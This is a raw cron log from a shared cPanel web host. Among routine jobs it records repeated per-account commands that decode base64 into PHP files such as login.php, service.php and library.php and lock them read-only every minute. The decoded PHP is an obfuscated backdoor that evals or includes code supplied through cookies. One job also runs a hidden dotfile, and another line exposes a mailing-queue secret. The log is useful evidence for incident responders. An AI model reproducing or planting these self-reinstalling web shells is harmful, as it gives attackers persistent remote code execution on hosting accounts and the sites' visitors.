Mar  1 07:16:01 medusa CROND[24005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:16:01 medusa CROND[24016]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:16:01 medusa CROND[24019]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:17:01 medusa CROND[30052]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:17:01 medusa CROND[30054]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:17:01 medusa CROND[30055]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:17:01 medusa CROND[30056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:17:01 medusa CROND[30058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:17:01 medusa CROND[30057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:17:01 medusa CROND[30063]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:17:01 medusa CROND[30065]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 07:17:01 medusa CROND[30066]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:17:01 medusa CROND[30067]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:17:01 medusa CROND[30068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:17:01 medusa CROND[30070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:17:01 medusa CROND[30080]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:18:01 medusa CROND[760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:18:01 medusa CROND[995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:18:01 medusa CROND[996]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:18:01 medusa CROND[999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:18:01 medusa CROND[1001]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:18:01 medusa CROND[1002]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:18:01 medusa CROND[1003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:18:01 medusa CROND[1004]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:18:01 medusa CROND[1007]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:18:01 medusa CROND[1008]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 07:18:01 medusa CROND[1010]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:18:01 medusa CROND[1015]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:18:01 medusa CROND[1017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnV